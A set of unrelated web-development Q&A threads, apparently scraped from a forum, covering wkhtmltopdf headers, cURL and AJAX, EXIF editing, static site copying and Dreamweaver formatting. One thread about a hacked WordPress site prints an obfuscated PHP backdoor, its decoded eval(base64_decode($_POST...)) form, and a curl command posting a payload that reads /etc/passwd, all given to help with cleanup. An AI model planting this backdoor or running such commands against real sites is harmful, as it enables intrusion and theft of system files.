Im using wkhtmltopdf --header-html option, but it seems, that it really works only with html code. Is there any way I can add some PHP and force it to working somehow? I need to display Date and userĀ“s e-mail on every page... Thanks for any advice ;)
You can feed --header-html almost anything :) Try the following to see my point:
wkhtmltopdf.exe --margin-top 30mm --header-html isitchristmas.com google.fi x.pdf
So isitchristmas.com could be www.yoursite.com/magical/ponies.php
Just to add, you cant run the php files locally so you need a webserver to serve them. If you need 100% local dynamic headers you could try some fake dynamic with javascript; use --header-html myheader.html?date=12345&usermail=derp and then process the URL with javacript (I havent tried it).
To add extra query string parameters for your header/footer html you need to use the command line switch 'replace'.
The wording of the help/manual is a little misleading (i.e. better wording would have cleared up the issue), as it lead me on the wrong path (tried using the 'post' switch). I found the solution after digging through the code on github.
Related
One of my site was hacked last night and some porno content was placed on my site.
What I have done:
I have removed manually the adult content from site by using FTP.
My website is up now and working fine. But, still I am able to find some code in my plugin and theme files. Which was not written by me, Code is as below:
<?php
$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n842e1c'];
if(isset($s22))
{
eval($s21($s22));
}
?>
What my queries are:
What this code stands for, what is this doing?
Is this harmful?
Should I remove this code from my files?
Is this will make any effect on my site if removed?
Other Code Suggestions Required:
This sort of code is available in 100+ files. Is there any method to remove code from all files in once? Or any method to keep code and just make it disinfect? so, it will save my time to remove code manually from too much files.
What this code stands for, what is this doing?
This code is a backdoor which can be used by an attacker to execute arbitrary code. This is what the code intends to do.
<?php
eval( base64_decode( $_POST['n842e1c'] ) );
An attacker can make a post request to this file with his encoded payload in POST parameter n842e1c and execute PHP code.
Example:
curl -X POST -d "n842e1c=ZWNobyByZWFkZmlsZSgnL2V0Yy9wYXNzd2QnKTs=" http://PATH_TO_THIS_FILE
Here this ZWNobyByZWFkZmlsZSgnL2V0Yy9wYXNzd2QnKTs= is the BASE64 encoded string of echo readfile('/etc/passwd');.
Is this harmful?
Yes
Should I remove this code from my files?
Yes
Will this make any effect on my site if removed?
No
Here are some tips to help you clean the website. Also, follow this official post by wordpress to take necessary steps.
It's a backdoor, taking a POST parameter named n842e1c and execute it. Instruction is encoded as Base64.
It is.
You should immediately.
Nothing, remove it asap.
Maybe re-install wordpress, or you could quickly develop a script in python (or something else) to remove this string from your files.
PHP eval is dangerous.
It basically executes the code within it's function. So you must remove it if you are not sure of it's use in your website.
The eval() language construct is very dangerous because it allows
execution of arbitrary PHP code. Its use thus is discouraged. If you
have carefully verified that there is no other option than to use this
construct, pay special attention not to pass any user provided data
into it without properly validating it beforehand.
Source
You can not disable it directly so the only choice is you remove the code from all the files.
Try installing these free plugins on your Website.
Sucuri WordPress Auditing and Theme Authenticity Checker (TAC).
Follow below URLs to get some help.
https://www.wordfence.com/docs/how-to-clean-a-hacked-wordpress-site-using-wordfence/
http://www.wpbeginner.com/beginners-guide/beginners-step-step-guide-fixing-hacked-wordpress-site/
I am currently trying to load an HTML page via cURL. I can retrieve the HTML content, but part is loaded later via scripting (AJAX POST). I can not recover the HTML part (this is a table).
Is it possible to load a page entirely?
Thank you for your answers
No, you cannot do this.
CURL does nothing more than download a file from a URL -- it doesn't care whether it's HTML, Javascript, and image, a spreadsheet, or any other arbitrary data; it just downloads. It doesn't run anything or parse anything or display anything, it just downloads.
You are asking for something more than that. You need to download, parse the result as HTML, then run some Javascript that downloads something else, then run more Javascript that parses that result into more HTML and inserts it into the original HTML.
What you're basically looking for is a full-blown web browser, not CURL.
Since your goal involves "running some Javascript code", it should be fairly clear that it is not acheivable without having a Javascript interpreter available. This means that it is obviously not going to work inside of a PHP program (*). You're going to need to move beyond PHP. You're going to need a browser.
The solution I'd suggest is to use a very specialised browser called PhantomJS. This is actually a full Webkit browser, but without a user interface. It's specifically designed for automated testing of websites and other similar tasks. Your requirement fits it pretty well: write a script to get PhantomJS to open your URL, wait for the table to finish rendering, and grab the finished HTML code.
You'll need to install PhantomJS on your server, and then use a library like this one to control it from your PHP code.
I hope that helps.
(*) yes, I'm aware of the PHP extension that provides a JS interpreter inside of PHP, and it would provide a way to solve the problem, but it's experimental, unfinished, would be still difficult to implement as a solution, and I don't think it's a particularly good idea anyway, so let's not consider it for the purposes of this answer.
No, the only way you can do that is if you make a separate curl request to ajax request and put the two results together afterwards.
My goal is simple: I'd like to modify the 'Comments' field on an image. This is easy to do manually on any file on Windows (just right click and type in whatever you want).
To do so via PHP does not seem clear at all. There are several drivers out there. I have tried them all and simply could not get them to work. Does anyone have direct experience with one and can provide a concrete example how to do this?
The only thing I got that sort of worked was this http://blog.jacobemerick.com/web-development/manipulating-jpeg-exif-headers/.
However, although I can update some fields it also deletes everything else. I have no experience with EXIF before and from what I can tell he is decodeing the raw image data and interpreting the sections. I simply do not have the knowledge to modify his code for my purposes.
I've tried https://github.com/romainneutron/PHPExiftool but I simply get errors about different classes not being available. I guess this is expected as it's clearly still in development.
I would appreciate any guidance as I'm pretty sure I've read everything the internet has to offer on the topic.
The easiest way is to just use exiftool via imagemagick. This is technically command line, not PHP, though you can use exec (bad) or lean on some of PHP's imagemagick extension. The post you linked to was something I wrote a few years ago and has a few limitations... Only working for certain encoding (Canon, can't remember the specifics) and yes, it does strip out everything and then rebuild. Easier than surgical replacements ;)
I have a typo3 website with no user genrated or dynamic content.
So it is unnecessary to use php and the database.
Is it possible (with php) to clone the hole website and store every page as an html page?
I have only a normal webspace, so i cant install tools like "eAccelerator".
My idea:
- grab every link from the sitemap
- file_get_contents -> store as html
But i think this is not a clean solution? Or?
Thanks in advance!
james
you can use a simple software called HTTRACK., here is the link:
httrack.com
Why you need to use php to copy it? Did you consider using a command line tool like wget? wget allows you to create an "offline" copy of a website which you can of course host somewhere else. Sounds to me exactly like the thing you want to do.
In case you are really stucked to php, you will need an HttpRequest, call the site, parse all links and resources, download the resources, follow the links and do the same again. This is the most simple solution, without any checking for conflicting resources or other stuff which could go wrong.
Sitesucker http://sitesucker.us is an excellent tool you can run from any mac. It works very well, I use it all the time.
But don't forget that by creating a static copy of your site, you will lose your templating functionality. So if you really want to make your website static, I strongly recommend to - at least - put the identical parts of each page into php-includes. Mostly head, page header, footer, navigation. So you're ready for future changes.
If it's just because your TYPO3 is too slow, look at the nc_staticfilecache extension which can speed it up very well.
Using TYPO3 where you need just a simple HTML is a huge overflow, invest in DreamWeaver and code all things 'manually'.
I'm looking so long for a Dreamweaver extension to auto beautify PHP / JavaScript / jQuery code. Currently Dreamweaver can beautify only HTML and CSS (Apply Source Formatting).
Any kind of help will be much appreciated.
Online solutions for validation and formatting JavaScript:
Validate JavaScript code:
http://www.javascriptlint.com/
Format JavaScript code:
http://jsbeautifier.org/
For the PHP side of things use https://github.com/fabpot/PHP-CS-Fixer
This short excerpt and more information is taken from the README.
Installation:
Download the php-cs-fixer.phar file and store it somewhere on your
computer.
Usage:
The fix command tries to fix as much coding standards problems as
possible on a given file or directory:
php php-cs-fixer.phar fix /path/to/dir
php php-cs-fixer.phar fix /path/to/file
I have found this great dreamweaver extenstion, just give it a try
Their Homepage: http://www.decodize.com/projects/
extension download page: http://www.adobe.com/cfusion/exchange/index.cfm?event=extensionDetail&loc=en_us&extid=2107536
You can use PhpEdit, it's an extra debugger!
DW doesn't do debug, you find the error if and only if you run your code.
With PhpEdit, it is onTime.
Maybe try http://www.javascriptlint.com/
says it works on some IDEs, maybe DW is one of them.
Try googling, but use 'code format' not 'beautify'
I was wondering if you could elaborate on how to set this up. I see the CSS and Tag Libraries options under "Advanced Formatting", but I am stuck at that point as to how to get my PHP to start auto-indenting.
Or, if Dreamweaver has somehow fixed this problem, let me know! It seems like every other IDE has an auto-indent feature! Thanks :)
It's been a while since I have used DW, I use Aptana now and there is an option to format the code from one of the drop down menus. Just use something like "control a" (To select all your code), "control f" (To format your code). There might be another key combination but I think this will work if memory serves.
Maybe "esc control f"
I've not seen anything for Dreamweaver, but if you can copy ans paste the code, http://jsbeautifier.org/ can help you with making code look a good bit better. I've just tried it on some packed JavaScript and it worked out very well. You can also download the application and run it locally (it's only HTML and JavaScript), so you won't need an internet connection to get your code prettier.
Best way i found is to set the way Dreamweaver displays code yourself. Sure it takes some time to do but its worth it.
Here is how:
Dreamweaver: Edit > Preferences > Code Format
Then under Advanced Formatting you can pick CSS... or Tag Libraries...
You can make any of your code look as it should this way.
Like i said, will take some time but do it once and you can keep using it with all your future Dreamweaver versions.
In Dreamweaver CS6 no need any other extension or tools.
Just select your code and then Go to 'Commands' > 'Apply Source Formatting' or 'Apply Source Formatting to Selection'
Done. :)